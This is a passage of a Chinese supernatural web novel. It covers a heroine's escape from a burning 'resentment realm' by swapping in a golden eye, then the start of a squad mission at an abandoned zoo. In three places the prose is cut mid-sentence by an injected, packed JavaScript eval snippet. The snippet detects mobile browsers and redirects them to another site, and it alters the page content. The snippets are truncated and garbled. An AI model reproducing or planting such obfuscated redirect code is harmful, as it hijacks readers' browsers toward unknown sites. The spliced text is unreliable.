“就你这样的孩子,迟早会惹出大麻烦!” “一个女孩没有女孩的样子,真是该让医生好好给你检查一下,说不定你根本不是个女孩子!” 保育员恶狠狠的眼神姜栩到现在都还能清晰地想起来,并且想起那股随之而来的恶寒的感觉,如同蛇一样冰冷的眼神,如跗骨之蛆,让人难以安眠。 姜栩咬破了自己的舌尖,铁锈味在口腔里蔓延开来,疼痛让她短暂地清醒。 她用力甩了甩头,发现佘寒君正拽着她往楼梯口的方向冲,他的手臂上多了好几道口子,有一道从手腕划到肘弯,皮肉翻卷着,血顺着手背往下滴。 “往哪边走?”姜栩问。 “不清楚,先躲过大火再说!” 温度越来越高,两个人被困在这里,恐怕不用等雕塑把他们杀死,只要再呆一会儿,就会变成烤串。 怨境的源头在起火的地方。 这个怨境永远停留在女主人生日当天,而火灾是她一生中最后发生的事,或者说,是她怨念最深的那一刻的具象化。 她在日记里叩问上天,但上天没有回应她,也许最后她选择了另一种方式,也许那场火是她自己放的。 如果是这样,那么单纯逃跑永远逃不出去,因为他们跑得越快,越是在顺应怨境的逻辑。 畏惧、逃亡、最终被火焰吞噬。 就像女人在现实世界里一样,被生活驱赶着,最终逃无可逃。 必须反过来。必须逆流而上,去起火的地方,去怨念最深处。 姜栩指着火焰最盛的方向:“往那边走。” 要在大火中做一个逆行者,佘寒君没有任何犹豫,完全相信姜栩。 这种毫无保留的信任让姜栩有点不适应,但现在没有时间去细想。她握紧消防斧,佘寒君挡在她身前,两人逆着热浪往三楼深处冲去。 越往里走,温度越高,空气被炙烤得扭曲变形,每一次呼吸都像在吞咽滚烫的刀刃。 比高温更可怕的是雕塑的变化,它们的速度已经快到了一种违反常理的程度。 一开始还能看见它们冲刺的轨迹,到后来只剩下一道道灰白的残影,像是没有帧数的影片直接跳帧,姜栩肉眼完全捕捉他的移动,就感觉到手臂一阵剧痛,雕像坚硬的手紧紧捏住她的胳膊,只一下,骨头就变形了。 佘寒君回身一脚踢碎了它,但这一脚的空档里,另一具雕塑已经从右侧扑到了他的背上。姜栩一斧子劈过去,斧刃嵌进雕塑的肩膀,石头开裂,雕塑转过身来,与姜栩对视。 在对视的那一瞬间,她的眼睛又一阵剧痛,视线在一瞬间变成血红色,雕塑的脸在血色中扭曲变形,五官开始融化重组,最后又变成了保育员的脸。 “像你这样的孩子,不会有人要你的,将来你还能怎么办呢?离开了这里,你就只能嫁到大山里去给人家当媳妇了。” 姜栩人生中听到的最早的PUA就来自于这个保育员。 她在剧痛之中还能冷静地思考,摸清了怨境的逻辑。女人因为被人凝视而死。 所以在这个怨境之中,每个人都会被凝视,都会感受到被凝视的感觉,而且在怨境的作用下,这种恐惧会被无限放大,最终大到人承受不到的地步。 这个怨境还挺聪明的,知道她的软肋是什么。 但是怨境搞错了一点,她并不害怕这个保育员,相反,她对这个保育员只有愤怒。 她成年的前一天,和保育员狠狠打了一架,打掉了保育员的两颗牙后扬长而去。 所以她完全没有恐惧,只有遇到老仇人的身份。 老贼,当年你打不过我,以为在幻觉之中就能打得过我了? “掩护我!”姜栩斗志昂扬,“看我与这老贼决一死战!” 身后却没有传来回音,佘寒君的眼睛直直地盯着走廊伸出的方向,姜栩顺着他的目光看过去,发现那里什么都没有,显然在佘寒君的幻觉中,他也看见了让他一生难忘的眼神。 他的嘴唇翕动着,声音低得几乎听不见:“你……怎么在这里……” “对不起……”佘寒君红了眼眶,微微垂下的眼睛湿漉漉的,“对不起……我没有保护好她。” 怨境把他最想看又最怕看到的那个人的目光,投射进了他的幻觉里。 一具雕塑趁着这个空档扑上来,姜栩一脚踹开佘寒君,自己却来不及躲。 雕塑的手指擦过她的右肩,石化的力量像电流一样窜过她的身体,右臂从指尖开始迅速变灰变硬,一直蔓延到手肘才停下来。 她的右手完全不能动了。加上之前就已经石化的右臂,她的右手现在就是一块从肩膀挂到指尖的石头。 姜栩单手持斧,左臂的力量虽然大,但毕竟不习惯,准头和速度都下降。 火势越来越大,眼看就要把三楼的走廊全部吞没,他们时间有限,姜栩决定放弃佘寒君。 她跑出两步,回过头,佘寒君还在对着走廊喃喃自语,到底狠不下心,折回来往佘寒君身上踹了一脚,半推半拽把他带走。 然而狭窄的走廊已经全部被火焰包裹,姜栩的左臂酸麻,额头上汗水混着血水往下淌,模糊了视线。 右眼的疼痛还在加剧,疼到整个右半张脸都在抽搐,视野里的血色越来越浓,幻觉和现实交替闪现,她已经分不清哪些是真正的雕塑,哪些是她脑子里投射出来的幻影。 她试图用目光压制回去,我并不怕你们的凝视,我会反过来凝视你们。 这个规则她从一开始就摸透,然而个体的力量实在过于微弱,像在暴风雨中举着一把破伞,压住了这边,那边的风又灌进来。 怨境太大了,它已经吸收了很多人的恐惧,它的力量源源不断,而她只有一只眼睛,一颗心脏,一具快要被消耗殆尽的身体。 直到她的目光压制不住雕塑,雕塑们的移动速度重新飙升,灰白色的残影在血色视野中织成一张密不透风的网,越收越紧。 姜栩的右眼疼痛欲裂,姜栩猜想眼前的血色应该是她的眼睛流出的血,终于在一阵剧烈的疼痛之后,姜栩的右眼陷入一片黑暗。 她感觉到眼眶里流出黏腻的热流,用手一抹,是血,她的眼睛瞎了吗? 雕塑已经完全没有了任何阻拦,他们长驱直入,如入无人之境,包围圈渐渐缩小,姜栩和佘寒君都要变成雕塑中的一员了。 墙上的火舌舔上了天花板,整条走廊发出木头断裂的呻吟声,脚下的地板开始塌陷。 如今已经穷途末路,姜栩摸着口袋里跳动的眼球。 当时她觉得怕疼,划掉了那个选项,现在她已没得选。 姜栩用左手摸了摸自己眼眶的边缘,这个姿势有点别扭,左手反手操作右眼,角度使不上力。 这一次她没有犹豫,确定好了位置之后,她毅然决然地把手指探了下去,冰凉的手指贴着滚烫的眼球,在那一瞬间她感觉到自己眼球的形状和大小。 姜栩的眼眶跟被炸过一样剧痛,现在她居然还能保持清醒,没有疼晕过去,简直是个奇迹,也让她感觉到自己的做法没错。 反正右眼已经瞎了,死马当活马医。 姜栩挖出了自己的眼睛,把那颗金色的眼球填塞进去,那一瞬间,整个世界都陷入了安静。 火光的声音都成为背景,她先是看见应该是这只眼睛曾经的记忆。 她看见了一片漫天的火光,比她面前的这场大火还要盛大千百倍,火光烧穿了半边天空,把云都染成了血红色。滚滚天雷在头顶炸响,每一道雷都劈得山摇地动。 眼睛的主人在奔跑,她是第一视角,仿佛是一只什么小动物,视角很低,贴着地面移动,躲避天上滚滚雷电。 她只能看见飞快倒腾的小爪子,爪背上的皮毛是漂亮的赤红色。 周围的景色一闪而过,她甚至在其中看见了佘寒君的脸,这个佘寒君更年轻一些,穿着很奇怪的衣服,并非现代的装束。 眼前的画面飞速进入姜栩的大脑,逐渐变得模糊,所有的色彩慢慢洇开,视野缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587155|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓合拢,黑暗从四角往中心蔓延,最后只剩下中心那一小圈光,光圈里是佘寒君的脸。 佘寒君神色惊慌:“你……你的眼睛……” 他手足无措,看起来想把这个眼睛抢回来,又不敢。 姜栩自己明明疼得要死,但在佘寒君面前,还是骄傲地一抬头,哑着嗓子:“如何,还可以吧?我看你也别抢了,我们俩融合得很好,合该它是我的。” 姜栩的右眼重现光明,眼球自己转动了一下,竖瞳“刷”一下立了起来。 眼前的场景骤然清晰,像相机的镜头拧到了最清晰的那一档,身边的雕像最近的离他们不过一掌远的距离,姜栩的竖瞳微微收缩,金色的光芒在瞳孔深处一闪而过。 雕塑一下子静止在原地,完全一动不动,姜栩仿佛天生会使用这只眼睛,她凝神,聚力,如果凝视也是一种力量,那么姜栩这只眼睛的力量是无穷的。 她都没有和雕塑产生接触,雕塑就在她目光的压制下从头顶裂开,“砰”的一声化为齑粉。 姜栩眨了一下眼睛。竖瞳在眼眶里流畅地转动,锁定了下一具雕塑。 又是一道金色的光芒闪过,那具雕塑连挣扎的机会都没有,裂缝从胸部开始,又是“砰”一声四分五裂。 雕塑们如同有自己的思想和生命,四散奔逃。 “跑什么?”姜栩略有些小人得志地猖狂大笑,“不是喜欢凝视别人吗?来,让我也凝视凝视你们。” 她和佘寒君逆着热浪往三楼伸出走,火势看起来很大,但就好像是专门给两人留了一条路,走廊在延伸,墙壁在移动,脚下的地板时而倾斜,时而恢复平整。所有的物理法则在这里都失效了,只剩下怨念的轨迹。 三楼火势最大的地方是一个很小的房间,就在佘寒君找眼睛的那个储藏室旁边,一个很小的门,不仔细看,就很容易忽略。 门里火光冲天,推开门,里面没有窗户,也没有别的装饰,只摆着一张矮矮的小供桌,桌上供着一尊小狐狸的雕塑。 狐狸是坐姿,前爪并拢放在胸前,尾巴盘在身后,姿态端庄得像一尊佛像。 它闭着眼睛,嘴角微微上翘,似笑非笑的表情在火光中显得诡异极了。 雕塑前面摆着一个小香炉,旁边放着一碗白饭,饭上竖着插了三根筷子。 和姜栩在别墅门口见到的祭祀用品一模一样。 姜栩掏出随身携带的县志,县志详细记录了狐妖的力量以及祭祀狐妖的传统。 虽然狐妖最后受到了上天的惩罚,但是因为它偷食人间香火,拥有强大的力量,被尊为邪神,所以有些走投无路的人,就会去请求狐妖的保佑。 每逢朔望,在米饭上插三炷香,祭祀方法极其诡异,被县志记为“淫祀”。 那个别墅的女主人,在日记里反复叩问上天却得不到回应之后,开始收集民俗学的书籍,在这些书中,她找到另一种被视为邪异的力量。 县志对祭祀方法记录非常详细。 “每朔望,以白饭一碗,竖箸三支,燃香三炷,闭目默祷。不可直视狐面,不可出声言语。祷毕熄香,将饭埋于门外三尺土下。” 姜栩蹲下身,从矮桌下面摸出了三根老式的檀香,又粗又长,香体上用朱砂画着密密麻麻的符文。 香就放在桌下的暗格里,旁边还有一盒火柴,显然女主人不止一次做过这件事。 姜栩模仿县志中记载的样子,划燃火柴,将三炷香依次点燃,插进香炉里。 接着,姜栩拿过墙角的白米饭,好像有人为她准备好了一切,就连米饭都是现成的,把筷子竖直插入饭碗,那一瞬间,香头的火焰骤然燃烧起来,吞没了一切。 姜栩和佘寒君站在白色火焰之中,皮肤上没有一丝灼痛,甚至感觉不到温度。 这场大火飞速蔓延,将一切雕像全部吞没,一切都消失不见,香案上小狐狸雕塑身后,出现了一个女人的影子,怨境的主人,她终于现身了。 这是姜栩第一次见到她本人,她的眉毛很浓,不算漂亮,但有一种沉静倔强的气质,嘴角紧紧抿着,看起来像是那种不服输的人。 姜栩静静凝视着她。右眼的竖瞳中映出女人的身影,金色的光芒温和而坚定。 击破怨境的方法很简单,凝视就可以了。 姜栩只要稍微集中念力,女人从双脚开始,石化的纹路一寸一寸往上蔓延,直到完全石化,铿然碎裂,被风吹走,散落在月光当中。 怨境崩塌,姜栩和佘寒君两个人疯狂逃窜,躲避掉下来的石块砖瓦一类的。 楼梯开始坍塌,姜栩每一步都踩在下一秒就塌陷的砖石上,往门口扑去。 姜栩一头扎进那片白光里,如同跳进游泳池,池水灌进耳朵,又哗啦啦流出去,姜栩从泳池中探出头,狠狠呼吸了一口新鲜空气。 眼前的塞拉庄园一片荒凉和萧条,在暗夜的星光下鬼影绰绰,路灯昏黄的光洒在大门口的碎石路上,路边的杂草安安静静地伏着,远处的建筑工地上传来隐约的机器轰鸣声。 一切都和黄昏时她进来之前一模一样,好像什么都没有发生过。 姜栩活动了一下手臂,她的右手恢复了正常,她转过头,想找佘寒君,然而大门口空无一人。 姜栩忙打开手机的前置摄像头对准自己的眼睛,瞳孔在光照下收缩成一条细缝,是竖瞳。 这玩意儿还在。 姜栩咧了咧嘴,不知道是该庆幸还是该骂娘。她掏出手机看了一眼时间,屏幕上显示:00:00。 姜栩赶紧取消了进别墅区之前准备定时发送的短信消息,几乎在她按下取消的同一秒,手机屏幕忽然切换来电页面,顾怀彰打电话了。 “你怎么还在加班?” 姜栩光着脚丫子踩在冰凉的地面上,浑身上下没有一处不疼,她揉着自己的胳膊,歪头用肩膀和耳朵夹住手机,声音懒洋洋的,好像真的加了很久的班下班回家。 “你可真会掐算时间,刚好结束,马上就回去啦。” 22. 【明山动物园】紧急任务召回 姜栩挂了电话,揉了揉眼睛,深吸了一口新鲜空气,觉得胸腔无比清透干净。 正准备往回走,一个女声忽然出现,让她顿住脚步。 “谁,谁在说话?” 那语调冷冰冰的,不知从哪里炸开,无比清晰传入姜栩的脑海,似乎没有通过耳朵,而是直接在她的脑海里。 随之而来还有一张闪光的面板,浮现在深蓝的夜空之中,似乎也只有姜栩一个人才能看到。 【恭喜宿主获得“深渊之眼”(初级阶段,后续可倚靠功德值升级)】 【来源:未知】 【技能:凝视,可限制目标行动五分钟,使用消耗100功德值】 姜栩第一反应是这玩意和清洁公司的功德商城物品栏里面的凝视之眼是一个东西,说不定同宗同源,而且那个道具只要用一次就要很高的功德值,并不能永久使用,现在看这个物品栏的架势,似乎这个东西一直属于她,而且还可以不断升级。 姜栩狂喜,果然单人副本给的都是好东西啊! 【技能:先见,被动感知危险,主动窥见目标关联,被动无消耗,主动窥视消耗200功德值】 【恭喜宿主完成副本“塞拉庄园”,功德值+500】 哦豁,这个功德值这么大方?姜栩记得她在402副本里获得的功德值才100。 她掏出工作牌,看见工作牌上功德值那一栏并没有丝毫变化。姜栩反应过来,这属于私活,不受到公司监控,这个功德值全都属于她个人。 从一百到五百,真过瘾啊,虽然说道具的使用都贵贵的,如果她想升级使用的话,就必须要努力赚更多的功德,有点狗。 【终焉任务已觉醒:改变世界,目前进度:3%】 姜栩先被这个宏大的目标吓了一大跳,改变世界?她?认真的吗? 然后又被这个进度条给催眠了。 才3%,没什么意思,定了一个如此宏大的目标约等于没有目标,姜栩迅速接受了这一现实并且迅速抛之于脑后。 管他呢,她一个小喽啰,改变世界这么大的命题关她什么事?她只要能吃饱穿暖就行了,而且她现在有如此高薪的工作,并不是很想改变。 她回到家,顾怀彰已经给她烧好了洗澡水,在她们这个逼仄的小房间里,只能用电热水器洗澡,每次洗澡要烧很长时间,而且只够一个人。 如果早上出门忘记烧水,那就只能回来现烧,人在经历漫长的等待之后往往会被消磨掉洗澡的热情,这个时候如果又非洗不可的话逼着自己去洗澡的过程会相当痛苦,但是顾怀彰不但已经帮姜栩搞定了洗澡水,甚至还给她留了一碗热汤饭。 姜栩坐在小餐桌边上吃热汤饭,一边看顾怀彰特别贤惠地帮她把一大堆衣服塞进一个收纳箱,整个房子全都是打包好的行李,顾怀彰的速度超级迅速。 姜栩觉得无比幸福,如果以后她们两个人都不结婚,就可以永远长长久久地住在一起,姜栩再努力干几年,就可以换更大的房子了。 她沉浸在对未来美好的想象当中,一时之间已经忘却了一切,后面的休假日她不是在家里和顾怀彰一起收拾东西,采买新的东西装点新家,一切都仿佛蒸蒸日上,如果不是几天来常做一梦。 休息日结束的最后一天她有点辗转难眠,这时候俩人已经飞速把所有东西都叫货拉拉送到新家去,只剩下最后一点零碎,准备明天搬走。 所以这天晚上是她们在这个房子里的最后一页,然而姜栩却怎么都睡不着,翻来覆去到凌晨两三点,顾怀彰还笑她,是不是幸福来临前最紧张。 终于在天快亮的时候,姜栩迷迷糊糊要睡过去,却又在梦中挣扎着醒来。 梦中她还是眼睛主人的视角,视角特别低,毛茸茸的爪子在地上飞速奔跑,飞溅起满地碎叶。 天上雷声滚滚,整个天幕呈现凶狠的黑红的颜色,天雷滚滚,一道道闪电直劈下来,树木摧折,狂风卷地,大雨倾盆而下。 姜栩左躲右闪,最终还是被天雷击中,仿佛一枚钢钉从天灵感嵌入,剧痛让她几乎失去意识,而梦中的她却依然保持着清醒,强撑着站起来。 似乎有人挡在她面前,只看到一个缥缈的背影,扎着高高的马尾长发,戴着斗笠,挡在她面前,衣襟飞扬,一副女侠打扮。 然而在滚滚天雷之下,一切阻挡它的都被劈成粉末,姜栩无处可逃,最终被用笼子捕获,押到一个残破漏风的娘娘庙中。 娘娘庙中的雕塑神像本应宝相庄严,却因为年久失修而显得斑驳可憎,冷冷垂眸直视着她。 又是一道天雷闪过,姜栩浑身一抖,从梦中惊醒,见窗外黑云翻滚,雷声阵阵,是要下雨的征兆:“都入冬了,怎么还下雨?” “今年气候反常嘛。”顾怀彰一边收拾东西一边回答,“看你睡得香就没叫你,睡醒了?收拾收拾我们走了,毕竟住了这么久,还挺舍不得的呢!” 姜栩的心还在持续跳着,而且她不光心跳,能感受到眼球也跳。 梦中所见应该是这只眼睛的记忆,姜栩拥有了这只眼球,也拥有了这只眼球的记忆,一种巨大的悲伤扑面而来,不知所起。 “怎么了宝贝?”顾怀彰看着她的眼睛,“你眼睛还疼?” 顾怀彰左看看右看看:“看起来没事了,就是有点红,诶?才发现你的瞳孔是浅金色的诶,跟小猫似的,怪好看的呢。” 两人收拾好东西,最后看了一眼这个从毕业就一直陪着自己大半年的小破房子,门一关,所有的辛酸苦辣就都留在身后。 姜栩她们还在路上,手机疯狂震动,是绿萝公司的通知: 【紧急召回,坐标已发送,请于一小时内抵达集合点。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588269|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾怀彰探头看了一眼:“有事啊?你们这工作还怪忙的呢,你去忙你的,这点东西我能弄好的。” 姜栩看了一眼前面的路牌,她们要去市区,得往南走,集合地点在城北,继续坐就是南辕北辙,于是叫司机靠边停车,手指在屏幕上飞快地点了几下,顾怀彰那边就响起了转账提示音。 顾怀彰掏出来一看,眼睛瞪圆了:“你疯了?给这么多?” “家里要添置的东西多,我又不在,不出力那就只好出钱了。”姜栩把拉链拉到下巴,拎起随身的那个黑色小包,“你找个阿姨帮忙清扫,别自己一个人扛。” “你自己就是清洁公司的,还要找人打扫?”顾怀彰忍不住笑,“说出去谁信。” 姜栩已经拉开门走出去了,只丢下一句话飘进来:“钱别省着,不够跟我说。” 站在路边,姜栩又打了一辆车,出任务是给交通补贴的,不打白不打,地点是城北的明山动物园。 任务档案随召回通知一同发送,姜栩打开浏览,得知这个动物园虽然已经倒闭了很多年,但进入绿萝的视线却是最近的事儿。 因为已经废弃很久,但是动物园的场地又出奇的大,所以就成为了很多野外探险博主的探险圣地。 结果有一群半大孩子发现了这个好地方,纷纷决定从家里偷跑出来进行探险,结果就逛到了原先的水族馆。 水族馆有一个巨大的池子,两边都是看台的那种,之前是看白鲸表演的,废弃之后池子并未排干净水,这个地方又阴凉潮湿地势低洼,这么多年了里面还蓄着水,又没人管,水体已经浑浊发臭,呈现一片绿色。 其中一个小孩脚滑了一下,不小心掉进了池子,扑通一声,连挣扎都没来得及就没影了。 其他几个小孩都吓傻了,赶紧四散奔逃,胆大的找了根废弃的拖布杆搅动池水,想把人捞上来,结果池水越来越浑浊,倒是从池子底部飘上来一副巨大的骨架。 几个孩子吓疯了,到底没抗住告诉了家长,家长又赶紧报警,猛找了一大顿,把池子的水全都放干了,也不见有孩子的身影。 这个池子四四方方,全部都是水泥浇筑,没有暗道,唯一的出水口只有胳膊粗,通向外面,别说一个人,就算是一只野猫都钻不出去。 搜救队把池子里里外外全都翻了个遍,又把搜索范围扩散到整个动物园,就是没看见孩子的身影。 现在动物园已经整体封锁,就等特殊清洁队入场。 姜栩又打开其他搜索软件搜索这家动物园,跳出来的新闻标题也是一个比一个难看,类似“明山动物园被曝虐待动物,多只大型动物瘦骨嶙峋”、“园方回应称系正常衰老,遭动保协会驳斥”。 幸好这家惨无人道的动物园已经于八年前关停。 “明山动物园正式关停,园内动物已全部转移”。 23. 【明山动物园】三小队联合 天色阴沉,虽是寒冬,气温不高,但动物园周边的气温下降过于明显,姜栩甫一下车就打了个寒战,她裹紧外套匆匆走过去,见格外萧条的动物园大门口已经停了好几辆车。 其中三辆黑色面包车整整齐齐停成一排,是上回出任务季容开的那种,绿萝的现场作业车。 旁边还有两辆越野车,一辆银灰色的中巴,一辆白色救护车,车顶上架着卫星天线,一看就不是普通的医院配置。 这地方非常萧条荒凉,而且荒废已久,门口的柏油马路都已经破烂不堪,坑坑洼洼,走起来深一脚浅一脚,然而人来人往,个个都步履匆匆。 姜栩认出有人穿着和她一样的黑色工作服,还有几个穿白大褂的蹲在路边调试设备,另外有一个短发女人靠在越野车边上抽烟,穿着便装看不出身份,腰上别着一个对讲机。 姜栩穿过这些人和车往里走,找到了他们小队的车。 季容已经到了,背靠在面包车的侧面,抱着平板翻看。 周小满和林知远差不多和姜栩同时赶到,看见姜栩立刻挥手,眼里闪烁着熊熊燃烧的八卦之魂,显然季容不爱听八卦,林知远性格腼腆,又不能给予及时反馈,周小满憋很久了。 “这边这边!姜栩,你可算来了!” 姜栩绽出一个笑容,挥挥手赶过去。 “人到齐了,换衣服吧。”季容把平板合上,拉开车的侧门,“任务简报进去再说,先做防护。” 四个人依次上了车。车厢是改装过的,一边是设备架,另一边是长条座椅。 这一次的任务显然非同小可,姜栩感觉自己拿到手的防护服的面料明显跟上次的不一样,料子很薄但韧性十足,是连体的样式,拉链从脚踝一路拉到下巴,再弯腰把靴子上的搭扣扣紧,这样就算是他们站在积水之中,衣服里也不会进水。 戴上手套,最后是全覆式面罩,戴上之后只露出一双眼睛。 全部穿戴完毕,姜栩把面罩的密封条压紧,吸了一口气,活动了一下手指,手套的关节处做了柔性处理,不影响动作。 除了这些必备的之外,姜栩还拿到了一个监控设备,形体非常小,可以别在衣服里,用于远距离频道内沟通以及录音录像。 “这么隆重。”姜栩有点意外。 “能不隆重吗?”周小满极度热爱八卦,早就打听得清清楚楚,“你知道失踪的那个孩子是谁吗?” “那可是某个集团大老总的独生子啊,阵仗当然要大了,这回公司派了三个小队呢,除了我们还有俩,一会我们就得搭配干活了,毕竟区域面积太大。” 周小满说起八卦来就滔滔不绝。 姜栩也爱听八卦,听得很认真,没事还问两句,她的反馈给足了周小满情绪价值,她几乎手舞足蹈不知天地为何物。 姜栩听着听着,总觉得似有似无得目光总落在自己身上,充满了审视和探究。 姜栩换了眼睛,敏锐度比之前高了很多,尤其是凝视,她飞快能够察觉视线的来源,首先就是队长。 季容有意无意盯着她看,姜栩有点心虚,毕竟自己偷摸出去接私活了,在这种心虚的影响下就被她看得有些发毛。 她索性转过头,大大方方笑眯眯看着季容,在她的注视下,比了个“耶”的手势:“我好看吗,队长?” 她浑身黑色,只有眼睛的部分能露出来,隔着防护玻璃,那双眼睛在光线中显得非常浅淡,金光熠熠。 季容已经盯着看了她有一阵儿了,骤然和她的眼睛对视,收回目光:“好看,这几天休假怎么样?” “挺好的,搬了个家,还在收拾。” “诶,你搬新家啦?到时候请我们去做客啊!我们去给你暖居!”周小满兴致勃勃。 姜栩点头:“好呀!” 另一条视线,来自越野车那边。 姜栩从车上下来,远远同那个短发女人对视一眼,虽然距离很远,但姜栩可以确定她在看自己。 季容是队长,小队里就这么几个人,盯着自己看也正常。 在场三个清洁小队,一共十二个人,算上其他的工作人员,来来往往几十个人都有了,那女人从容的态度看起来像是绿萝的高层,她要是盯着自己看,大约就是发现了什么了。 姜栩感觉自己今天很受欢迎。 姜栩一不美得惊天动地,二不帅得惨绝人寰,除了个子高点,往人堆里一站就是个一般人,何况还是个新人,扪心自问得不到美女上司的特殊关注。 不过这女人什么都没说,姜栩就也心照不宣当她什么都不知道。 周小满注意到两人遥遥相望,凑过来小声呱呱:“那一位可是大佬,上面的钦差大臣呢,拥有对任务方向的一票否决权和最高知情权,一会儿咱们进去了,他们撤不撤退,救不救援,放不放弃,全靠她说了算,咱们的小命在人家手里捏着呢。” 周小满指了指天,姜栩明白了这个上面应该就是“天道”,这么神秘,这属于天道在人间的代言人了? 姜栩这边整理好,队员们均准备就绪,和剩下的两拨队员互相碰了个面,另外两个组分别是第七外勤组和第九外勤组,十几号人清一色的黑色连体工作服,全覆式面罩还没拉下来,挂在脖子上,远远看去像是某种特战部队的集合。 第七组的组长赵铁峰是个彪形大汉,目测得有一米九往上,肩膀宽得像一扇门板,工作服穿在他身上绷得紧紧的,感觉随时要裂开。 他剃了个板寸,国字脸,眉骨很高,眼睛不大但很有神,整个人往那儿一站,给人的第一感觉就是抗揍。 第九外勤组的组长站在赵铁峰旁边,形成了一种堪称惨烈的对比。 她个子非常高,起码一米八以上,整个人修长得不像话,手长脚也长,往那儿一站,身体线条拉得很开,很像《超人总动员》里的弹力女超人。 在这样的身体条件下,姜栩甚至第一眼忽略了她那一头银白的公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593016|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切,发梢整整齐齐地垂在脸颊两侧。皮肤也白,白到几乎透光,衬得她那双深黑色的眼睛格外突兀。五官精致,嘴角微微下垂,表情冷淡,整个人看起来像是一个黑化了的小公主。 “九组队长,白鹭。” 季容站在他们中间,保持一贯沉默,从外形上看好像是唯一的正常人,这个画面不太协调。 准备就绪,众人戴好防护面罩,戴好耳麦,短暂的噪声后,一个冷清平稳的女声进入脑海中,姜栩直觉是那个短发女人。 “各小组注意,本次行动由第九外勤组队长白露担任行动总负责人。第七外勤组队长赵铁峰、第三外勤组队长季容,作为次要负责人,协助总负责人完成本次任务。” 隔着层层的人群,短发女人靠在越野车边上,短发精干,侧脸的线条亦凌厉。 “其余九名队员,跟随各自组长,现在入场。” 姜栩混在十几个人之中,越过腐朽的铁栅栏门,踩着地面上铺满的灰褐色落叶,有序入场。 这里其实还挺荒凉的,因为人不多,所以树木很茂盛,且拔地而起,但又因为已经是冬天,枝丫没了叶子,只横七竖八横亘在头顶,如同枯瘦的手指,光秃秃的枝条交错在一起,把灰蒙蒙的天空切割成一块一块不规则的碎片。 如果从上帝视角看,可以看到巨大的荒园,姜栩他们十几个人就像是十几只小蚂蚁一样陆陆续续走进了猎人的陷阱。 而从姜栩的角度看,人这么多,冲淡了一部分恐怖感,她好像真的成为了一个来春游的小学生,昂着头看所有乐园门口都会有的巨大的地形图看板。 看板的玻璃已经碎裂,透过玻璃看里面的地图,各路线条依稀可辨,各个区域的标注文字已经褪色得差不多了,姜栩只能辨认出大致的轮廓。 整个动物园呈一个不规则的椭圆形,大门在南边,主干道一直往北延伸,两侧分别是不同的动物展区。 左边是猛兽区,右边是草食动物区,中间穿插着一些游乐设施和餐饮区。 水族馆在最北边,跟其他区域隔了一片人工湖,从地图上看就像是从主园区伸出去的一个孤岛。 姜栩的目光沿着那条主干道一直往北,停在水族馆的位置上。 那里被画了一个小小的白鲸图案,作为水族馆的标识。那条白鲸画得很可爱,圆滚滚的,尾巴翘起来,像是在冲人招手。 白鲸表演是所有小朋友都非常热衷的节目,所以放在整个园区的最里面,小朋友可以选择乘坐游览车,也可以步行,但总之如果你想看的话就必须穿过整个动物园。 估计设计者也是考虑到有一些冷门动物会有无人观赏的窘境,而且热门的动物往里面放一放大概也是出于带动经济的考虑,不过对清洁小队就比较麻烦了。 他们需要穿越整个园区,而目前来看,整个园区都在怨境范围内。 姜栩的右眼一跳,她指着右下角一个小小的模糊的角落问:“这里是什么?”